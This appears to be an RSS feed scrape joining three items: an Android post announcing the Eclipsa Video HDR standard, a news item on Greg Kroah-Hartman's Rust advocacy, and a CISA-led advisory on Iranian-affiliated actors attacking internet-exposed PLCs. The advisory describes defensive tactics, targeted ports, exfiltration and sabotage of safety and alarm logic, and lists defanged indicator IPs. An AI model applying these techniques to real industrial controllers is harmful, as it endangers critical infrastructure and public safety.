<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGg9E8BsBcgigJ3Pwhp0Wbd85wffhQKw9jT9eW4_IJHtJsxtaqBqZoWIc4agLIZu9h2eWFEnMgipcv2PnMM2UC9tsZOJp3AMjsOX1KQRoisg5IKTRS20hFOIvJmlViYFz-QOh3-KdyFRIgUaiKs2ehjrJBd9W_yW13aP4xgRQovNCEAviajCLWFTTVrjs/s2469/Eclipsa%20Video%20V01%20White_Meta.png"><div><i>Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s8583/Eclipsa%20Video%20V02_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s1600/Eclipsa%20Video%20V02_Blog.png"></a></div><br><p><br></p>
<p>We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV. </p><p>While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.</p>

<p>To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a>, which Google developed in collaboration with Apple and NBCUniversal.</p><br><p></p><i><div><i><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/s1066/Eclipsa_9-16_Transparent%20(2).gif"><img border="0" data-original-height="1066" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/w225-h400/Eclipsa_9-16_Transparent%20(2).gif" width="225"></a></div>Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.</i></div></i><p></p>

<h3><strong><span>More consistency, comfort, and creative control</span></strong></h3>Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image. <br><p>Designed to scale with your hardware, Eclipsa Video provides three core benefits:</p>

<ul>
    <li><strong>A consistent baseline:</strong> Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the <b>HDR reference white</b>. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.</li>
    <li><strong>Adaptive headroom:</strong> Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.</li>
    <li><strong>Preserved creative intent:</strong> Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.</li></ul>

<div class="separator"><img border="0" data-original-height="1080" data-original-width="2200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirgS5TsogRUxWbypUiFlWIRuL8nQhdagvc7UHVFjoDG00SjqSrMniKFEys-EzgcrHKi6Am5BrtALEs7px1oaaJ5ciaO7hP0_49i8RuD7uCckjW7jYWrSoFkDlob6dJhL42MPLiBQqAjaPMOMJDEjZjDgvVe0P28fw13RlMNSiMEAlx5XFXCr8o6L8SRo0/s1600/Eclpsa%20Blog%20post%20image-AlphaB.png"><br><div><i>Eclipsa Video preserves true highlight detail on any screen you watch.</i></div></div><h3><strong><span>Built natively into Android 17</span></strong></h3>

<p>Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.</p>

<h3><strong><span>Guidelines for developers &amp; creators</span></strong></h3>

<p>We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:</p>

<ul>
    <li><strong>Get started with implementation:</strong> Learn how to configure playback and capture in your apps with our <a href="https://developer.android.com/media/platform/integrate-eclipsa-video">official guide</a>.</li>
    <li><strong>ExoPlayer &amp; Media3 integration:</strong> Standard playback handling built directly into <a href="https://developer.android.com/media/media3/exoplayer">Jetpack Media3,</a> allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.</li>
    <li><strong>Explore open source tools:</strong> View and inspect <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50</a> metadata and dynamic gain curves in real time using <a href="https://webmproject.github.io/hdr-explorer/">HDR Explorer</a>.</li>
</ul>

<h3><strong><span>What’s next</span></strong></h3>

<p>Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.</p>

<p>Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.</p>

<h3><strong><span>Notes &amp; Availability</span></strong></h3>
<p><strong>1. Device Compatibility:</strong> Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.</p>
<p><strong>2. Developer Resources:</strong> The <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 Specification</a> is openly accessible for technical evaluation.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Rust+Will+Help+Linux+Succeed+and+Makes+Coding+Fun%2C+Says+Greg+Kroah-Hartman%3A+https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F20%2F0417244%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F20%2F0417244%2Frust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/26/07/20/0417244/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
